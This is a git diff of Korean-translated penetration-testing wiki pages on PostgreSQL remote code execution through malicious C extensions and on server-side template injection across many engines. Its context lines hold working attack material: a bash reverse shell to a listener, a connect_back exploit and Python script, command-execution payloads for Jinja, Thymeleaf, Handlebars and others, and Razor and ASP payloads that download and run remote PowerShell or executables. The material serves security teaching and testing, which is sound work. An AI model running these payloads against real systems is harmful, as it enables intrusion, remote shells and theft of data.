> 동적으로 로드된 객체 파일이 호환되지 않는 서버에 로드되지 않도록 하기 위해, PostgreSQL은 파일에 적절한 내용이 포함된 "매직 블록"이 있는지 확인합니다. 이를 통해 서버는 PostgreSQL의 다른 주요 버전용으로 컴파일된 코드와 같은 명백한 호환성 문제를 감지할 수 있습니다. PostgreSQL 8.2부터 매직 블록이 필요합니다. 매직 블록을 포함하려면, 헤더 fmgr.h를 포함한 후 모듈 소스 파일 중 하나(그리고 단 하나)에 다음을 작성하십시오:
|
||||
> 동적으로 로드된 객체 파일이 호환되지 않는 서버에 로드되지 않도록 하기 위해 PostgreSQL은 파일에 적절한 내용이 포함된 "매직 블록"이 있는지 확인합니다. 이를 통해 서버는 PostgreSQL의 다른 주요 버전용으로 컴파일된 코드와 같은 명백한 호환성 문제를 감지할 수 있습니다. 매직 블록은 PostgreSQL 8.2부터 필요합니다. 매직 블록을 포함하려면, 헤더 fmgr.h를 포함한 후 모듈 소스 파일 중 하나(그리고 단 하나)에 다음을 작성하십시오:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
이 **라이브러리는 미리 컴파일된** 여러 PostgreSQL 버전에서 찾을 수 있으며, **이 프로세스를 자동화할 수 있습니다** (PostgreSQL 접근 권한이 있는 경우) 다음과 함께:
|
||||
이 **라이브러리는 여러 다른 PostgreSQL 버전으로 미리 컴파일된** 것을 찾을 수 있으며, **이 프로세스를 자동화할 수 있습니다** (PostgreSQL 접근 권한이 있는 경우) :
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
@ -164,9 +164,11 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
이 ZIP 파일에서 컴파일된 DLL을 찾을 수 있습니다:
|
||||
다음 ZIP 파일에서 컴파일된 DLL을 찾을 수 있습니다:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
{{#endfile}}
|
||||
|
||||
이 DLL에 **실행할 바이너리**와 실행할 횟수를 지정할 수 있습니다. 이 예제에서는 `calc.exe`를 2번 실행합니다:
|
||||
```bash
|
||||
@ -256,34 +258,34 @@ PG_RETURN_INT32(arg + 1);
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
[PolyUDF 프로젝트](https://github.com/rop-la/PolyUDF)는 전체 MS Visual Studio 프로젝트와 사용 준비가 완료된 라이브러리(_command eval_, _exec_ 및 _cleanup_ 포함)와 다중 버전 지원이 있어 좋은 출발점입니다.
|
||||
[PolyUDF 프로젝트](https://github.com/rop-la/PolyUDF)는 전체 MS Visual Studio 프로젝트와 사용 준비가 완료된 라이브러리(포함: _command eval_, _exec_ 및 _cleanup_)를 제공하며, 다중 버전 지원이 가능합니다.
|
||||
|
||||
### 최신 PostgreSQL 버전에서의 RCE
|
||||
|
||||
**최신 버전**의 PostgreSQL에서는 `superuser`가 특정 디렉토리(예: Windows의 `C:\Program Files\PostgreSQL\11\lib` 또는 \*nix 시스템의 `/var/lib/postgresql/11/lib`)에서만 공유 라이브러리 파일을 **로드**하는 것이 **금지**되었습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업이 **보호**됩니다.
|
||||
**최신 버전**의 PostgreSQL에서는 `superuser`가 특정 디렉토리(예: Windows의 `C:\Program Files\PostgreSQL\11\lib` 또는 \*nix 시스템의 `/var/lib/postgresql/11/lib`)에서만 공유 라이브러리 파일을 **로드하는 것이 금지**되었습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업이 **보호**됩니다.
|
||||
|
||||
이러한 제한에도 불구하고 인증된 데이터베이스 `superuser`는 "대용량 객체"를 사용하여 파일 시스템에 **바이너리 파일**을 **쓰기**할 수 있습니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 `C:\Program Files\PostgreSQL\11\data` 디렉토리 내에서의 쓰기로 확장됩니다.
|
||||
이러한 제한에도 불구하고 인증된 데이터베이스 `superuser`는 "대용량 객체"를 사용하여 파일 시스템에 **바이너리 파일을 쓰는** 것이 가능합니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 `C:\Program Files\PostgreSQL\11\data` 디렉토리 내에서의 쓰기를 포함합니다.
|
||||
|
||||
중요한 취약점은 `CREATE FUNCTION` 명령에서 발생하며, 이는 데이터 디렉토리로의 **디렉토리 탐색**을 **허용**합니다. 따라서 인증된 공격자는 이 탐색을 **악용**하여 데이터 디렉토리에 공유 라이브러리 파일을 작성한 다음 **로드**할 수 있습니다. 이 익스플로잇은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
|
||||
중요한 취약점은 `CREATE FUNCTION` 명령에서 발생하며, 이는 데이터 디렉토리로의 **디렉토리 탐색을 허용**합니다. 따라서 인증된 공격자는 이 탐색을 **악용하여** 데이터 디렉토리에 공유 라이브러리 파일을 쓰고 이를 **로드**할 수 있습니다. 이 익스플로잇은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
|
||||
|
||||
#### 공격 흐름
|
||||
|
||||
먼저 **대용량 객체를 사용하여 dll을 업로드**해야 합니다. 이를 수행하는 방법은 여기에서 확인할 수 있습니다:
|
||||
먼저 **대용량 객체를 사용하여 dll을 업로드해야** 합니다. 이를 수행하는 방법은 다음에서 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
big-binary-files-upload-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
데이터 디렉토리에 확장자(poc.dll이라는 이름으로 이 예제에서)를 업로드한 후 다음과 같이 로드할 수 있습니다:
|
||||
확장자(poc.dll이라는 이름으로 이 예제에서)를 데이터 디렉토리에 업로드한 후, 다음과 같이 로드할 수 있습니다:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_확장자를 `.dll`로 추가할 필요는 없습니다. create 함수가 이를 추가할 것입니다._
|
||||
_다음과 같이 `.dll` 확장자를 추가할 필요는 없습니다. create 함수가 이를 추가할 것입니다._
|
||||
|
||||
자세한 정보는 **[원본 게시물을 여기에서 읽어보세요](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.\
|
||||
해당 게시물에서는 **postgres 확장을 생성하는 데 사용된** [**코드**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres 확장을 컴파일하는 방법을 배우려면 이전 버전 중 하나를 읽어보세요_)가 제공되었습니다.\
|
||||
같은 페이지에서 이 **기술을 자동화하는** **익스플로잇**이 제공되었습니다:
|
||||
해당 게시물에서는 **postgres 확장을 생성하는 데 사용된** [**코드가 여기에 있습니다**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres 확장을 컴파일하는 방법을 배우려면 이전 버전 중 하나를 읽어보세요_).\
|
||||
같은 페이지에서 이 **기술을 자동화하는** exploit이 제공되었습니다:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
@ -321,7 +323,7 @@ print("(+) for a db cleanup only, run the following sql:")
|
||||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||||
print(" drop function connect_back(text, integer);")
|
||||
```
|
||||
## 참고문헌
|
||||
## References
|
||||
|
||||
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||||
|
@ -10,7 +10,7 @@ Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
이 취약한 코드에서 사용자의 요청으로부터 `name` 매개변수가 `render` 함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 `name` 매개변수에 악성 코드를 주입할 수 있는 가능성을 열어 서버 측 템플릿 주입으로 이어질 수 있습니다.
|
||||
이 취약한 코드에서 사용자의 요청으로부터 `name` 매개변수가 `render` 함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 `name` 매개변수에 악성 코드를 주입할 수 있게 하여 서버 측 템플릿 주입으로 이어질 수 있습니다.
|
||||
|
||||
예를 들어, 공격자는 다음과 같은 페이로드를 포함한 요청을 만들 수 있습니다:
|
||||
```
|
||||
@ -22,7 +22,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
|
||||
### 탐지
|
||||
|
||||
서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스 (**`${{<%[%'"}}%\`**)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드의 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다:
|
||||
서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스 (**`${{<%[%'"}}%\`**)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드 간의 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다:
|
||||
|
||||
- 취약점을 드러내는 오류 발생, 잠재적으로 템플릿 엔진을 노출.
|
||||
- 반사에서 페이로드가 없거나 일부가 누락되어, 서버가 이를 일반 데이터와 다르게 처리함을 암시.
|
||||
@ -150,7 +150,7 @@ $out.read()
|
||||
```
|
||||
**더 많은 정보**
|
||||
|
||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 의 Velocity 섹션
|
||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Velocity 섹션
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf
|
||||
@ -169,9 +169,9 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf는 이러한 표현식이 특정 속성 내에 배치되어야 합니다. 그러나 _expression inlining_은 다른 템플릿 위치에 대해 지원되며, `[[...]]` 또는 `[(...)]`와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다.
|
||||
Thymeleaf는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _expression inlining_은 다른 템플릿 위치에 대해 지원되며, `[[...]]` 또는 `[(...)]`와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다.
|
||||
|
||||
그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉시 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다.
|
||||
그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석으로 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다.
|
||||
|
||||
Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 Thymeleaf 문서에서 보여준 바와 같이 표현식 구성에 활용될 수 있습니다:
|
||||
```java
|
||||
@ -203,7 +203,7 @@ el-expression-language.md
|
||||
```
|
||||
**필터 우회**
|
||||
|
||||
여러 변수 표현식을 사용할 수 있으며, `${...}`가 작동하지 않으면 `#{...}`, `*{...}`, `@{...}` 또는 `~{...}`를 시도해 보세요.
|
||||
여러 변수 표현식을 사용할 수 있습니다. `${...}`가 작동하지 않으면 `#{...}`, `*{...}`, `@{...}` 또는 `~{...}`를 시도해 보세요.
|
||||
|
||||
- `/etc/passwd` 읽기
|
||||
```java
|
||||
@ -261,7 +261,7 @@ el-expression-language.md
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
Pebble의 새로운 버전:
|
||||
새로운 버전의 Pebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
@ -293,7 +293,7 @@ Jinjava는 Hubspot에서 개발한 오픈 소스 프로젝트로, [https://githu
|
||||
|
||||
**Jinjava - 명령 실행**
|
||||
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)에서 수정됨
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)에서 수정되었습니다.
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
@ -364,7 +364,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
|
||||
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||
|
||||
### 표현 언어 - EL (Java)
|
||||
### Expression Language - EL (Java)
|
||||
|
||||
- `${"aaaa"}` - "aaaa"
|
||||
- `${99999+1}` - 100000.
|
||||
@ -372,13 +372,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
표현 언어(EL)는 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호작용을 촉진하는 기본 기능입니다. 이 통신을 간소화하기 위해 여러 JavaEE 기술에서 광범위하게 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:
|
||||
Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호작용을 촉진하는 기본 기능입니다. 이 통신을 간소화하기 위해 여러 JavaEE 기술에서 광범위하게 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:
|
||||
|
||||
- **JavaServer Faces (JSF)**: JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 작업에 바인딩하기 위해 EL을 사용합니다.
|
||||
- **JavaServer Pages (JSP)**: JSP 페이지 내에서 데이터에 접근하고 조작하기 위해 JSP에서 EL을 사용하여 페이지 요소를 애플리케이션 데이터에 연결하는 것을 쉽게 만듭니다.
|
||||
- **Java EE를 위한 컨텍스트 및 의존성 주입 (CDI)**: EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호작용을 허용하여 보다 일관된 애플리케이션 구조를 보장합니다.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호작용을 허용하여 보다 일관된 애플리케이션 구조를 보장합니다.
|
||||
|
||||
**EL 해석기의 악용**에 대해 더 알아보려면 다음 페이지를 확인하세요:
|
||||
**EL 인터프리터의 악용**에 대해 더 알아보려면 다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
el-expression-language.md
|
||||
@ -386,7 +386,7 @@ el-expression-language.md
|
||||
|
||||
### Groovy (Java)
|
||||
|
||||
다음 보안 관리자 우회는 이 [**작성물**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)에서 가져왔습니다.
|
||||
다음 보안 관리자 우회는 이 [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)에서 가져왔습니다.
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
@ -411,11 +411,11 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
||||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||
```
|
||||
### 기타 Java
|
||||
### Other Java
|
||||
|
||||
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요.
|
||||
- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
##
|
||||
|
||||
@ -427,7 +427,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
{system('ls')} // compatible v3
|
||||
{system('cat index.php')} // compatible v3
|
||||
```
|
||||
**더 많은 정보**
|
||||
**추가 정보**
|
||||
|
||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Smarty 섹션
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates는 PHP에 고유한 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 새로운 구문을 도입하는 Twig와 달리, Plates는 템플릿에서 기본 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다.
|
||||
Plates는 PHP에 고유한 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 새로운 구문을 도입하는 Twig와 달리, Plates는 템플릿에서 네이티브 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다.
|
||||
|
||||
Controller:
|
||||
```php
|
||||
@ -604,14 +604,14 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
```javascript
|
||||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||||
```
|
||||
**추가 정보**
|
||||
**더 많은 정보**
|
||||
|
||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Jade 섹션
|
||||
- Jade 섹션은 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)에서 확인할 수 있습니다.
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template)는 XML 태그를 사용하여 문서를 여러 부분으로 나누는 비컴파일 PHP 템플릿 엔진입니다.
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) 비컴파일 PHP 템플릿 엔진으로, XML 태그를 사용하여 문서를 여러 부분으로 나눕니다.
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -629,7 +629,7 @@ Hello {NAME}.<br/>
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
경로 탐색(Path Traversal) (자세한 정보 [여기](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
경로 탐색(Path Traversal) (자세한 정보 [여기](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)에서 확인하세요).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
@ -660,7 +660,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
||||
URLencoded:
|
||||
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
||||
```
|
||||
**더 많은 정보**
|
||||
**추가 정보**
|
||||
|
||||
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||||
|
||||
@ -683,7 +683,7 @@ URLencoded:
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
**더 많은 정보**
|
||||
**추가 정보**
|
||||
|
||||
- [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||||
|
||||
@ -734,7 +734,7 @@ range.constructor(
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 더 많은 정보
|
||||
- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요.
|
||||
|
||||
### ERB (루비)
|
||||
|
||||
@ -757,7 +757,7 @@ range.constructor(
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
### Slim (루비)
|
||||
### Slim (Ruby)
|
||||
|
||||
- `{ 7 * 7 }`
|
||||
```
|
||||
@ -856,7 +856,7 @@ range.constructor(
|
||||
|
||||
|
||||
```
|
||||
[**RCE는**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`에 의존하지 않음:
|
||||
[**RCE는**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`에 의존하지 않습니다:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
@ -893,22 +893,22 @@ ${x}
|
||||
|
||||
<figure><img src="../../images/image (3) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요.
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
- `@(2+2) <= 성공`
|
||||
- `@() <= 성공`
|
||||
- `@("{{code}}") <= 성공`
|
||||
- `@ <= 성공`
|
||||
- `@{} <= 오류!`
|
||||
- `@{ <= 오류!`
|
||||
- `@(2+2) <= Success`
|
||||
- `@() <= Success`
|
||||
- `@("{{code}}") <= Success`
|
||||
- `@ <=Success`
|
||||
- `@{} <= ERROR!`
|
||||
- `@{ <= ERRROR!`
|
||||
- `@(1+2)`
|
||||
- `@( //C#Code )`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
.NET `System.Diagnostics.Process.Start` 메서드는 서버에서 모든 프로세스를 시작하는 데 사용될 수 있으며, 따라서 웹쉘을 생성할 수 있습니다. 취약한 웹앱 예제는 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)에서 찾을 수 있습니다.
|
||||
.NET `System.Diagnostics.Process.Start` 메서드는 서버에서 프로세스를 시작하고 웹쉘을 생성하는 데 사용할 수 있습니다. 취약한 웹앱 예제는 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)에서 확인할 수 있습니다.
|
||||
|
||||
**더 많은 정보**
|
||||
|
||||
@ -919,7 +919,7 @@ ${x}
|
||||
|
||||
- `<%= 7*7 %>` = 49
|
||||
- `<%= "foo" %>` = foo
|
||||
- `<%= foo %>` = 없음
|
||||
- `<%= foo %>` = Nothing
|
||||
- `<%= response.write(date()) %>` = \<Date>
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
@ -956,9 +956,9 @@ vbnet Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
